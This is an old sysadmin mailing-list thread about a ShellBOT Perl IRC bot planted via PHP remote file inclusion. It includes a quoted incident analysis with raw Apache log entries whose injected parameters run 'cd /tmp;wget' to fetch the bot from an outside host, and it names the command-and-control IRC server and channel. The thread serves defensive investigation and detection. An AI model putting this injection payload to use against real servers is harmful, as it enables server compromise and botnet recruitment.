This thread is a couple months old, but I'm having issues with this hack, found
it in the archives and thought it'd be helpful if I 'resusitated' it. See
bottom of email for rest of thread.
Today, hackers used the ShellBOT perl script to bring down Apache and start up
their IRC listener. They (somehow) copied it into /tmp and executed it. This
confuses me because I have my /tmp directory mounted rw,noexec,nosuid. Does
Perl somehow bypass this?
While the script was running, I ran lsof and found that it had recursively
accessed all my (virtual host) httpd logs (probably in an attempt to delete
it's tracks = the reason I can't see how they copied the script into /tmp)
which are owned by root. this is also confusing since the process the script
spawned was owned by user apache.
Some info on my box:
Redhat ES kernel 2.4.21-9.0.1.ELsmp
httpd-2.0.46-32.ent
php-4.3.2-11.ent
Anyone have any ideas on how this can happen? Mainly the executing of a script
on a noexec mount! Obviously I'm not a guru, so it's probably something simple
- so please, share!
Thanks,
Ed
Kirby Angell wrote:
Yesterday we noticed a funny looking Apache log entry. It contained:
http://www.DOMAIN.com/index.php?id=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2
in the Referer entry. The actual HTTP request was inocuous, but the
Referer entry is not. I have been in contact with the owner of the
computer that was the apparent target of the attack and he reports that
the "index.php" page properly sanitizes its variables to keep this from
working.
The attack attempts to trick the server into downloading and running the
given perl script, ".egg2" in this case. I retrieved a copy of that
script and found it configured to log into an IRC server
(irc.mzima.net:6667). Once the script is logged in, it joins the
channel "#datalink" and then waits for private messages from its
handler. The script can perform limited portscans, denial of service
attacks, and can run shell commands as whatever user the compromised web
server was running as. The script hides its identity by changing it
process name to "[httpd]" so it looks like one of many server threads.
I logged into the IRC server and joined the channel to find 62
compromised systems listening. Unfortunately I was noticed and now the
channel is by invitation only. I have notified as many of the
administrators for those systems as could be identified from whois
records. I have also notified the operators of the IRC server.
The IP address of the system that set off the original inquiry is
63.227.76.25. The admin of one of the compromised boxes has found that
same IP address involved in their attack too. The Apache log entries
from their system look like this:
63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET /popwin.js HTTP/1.0"
200 195
"http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2";
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626
Firefox/0.9.1"
63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET
/images/l2_thinkInsideBox.gif HTTP/1.0" 200 1711
"http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2";
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626
Firefox/0.9.1"
63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET /images/l2topbox.gif
HTTP/1.0" 200 2576
"http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2";
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626
Firefox/0.9.1"
I would like to find if he used other IPs, but so far I've only had a
few responses from admins of the compromised systems. All who responded
were happy to provide log entries though.
This sort of script shouldn't be terribly difficult to spot. A "netstat
~ -pan | grep 6667" will show its presence while running. Unless some
other compromise is used in conjunction with the script, the cracker
will not be able to install any sort of rootkit to hide the script's
presence.
--
Thank you,
Kirby Angell
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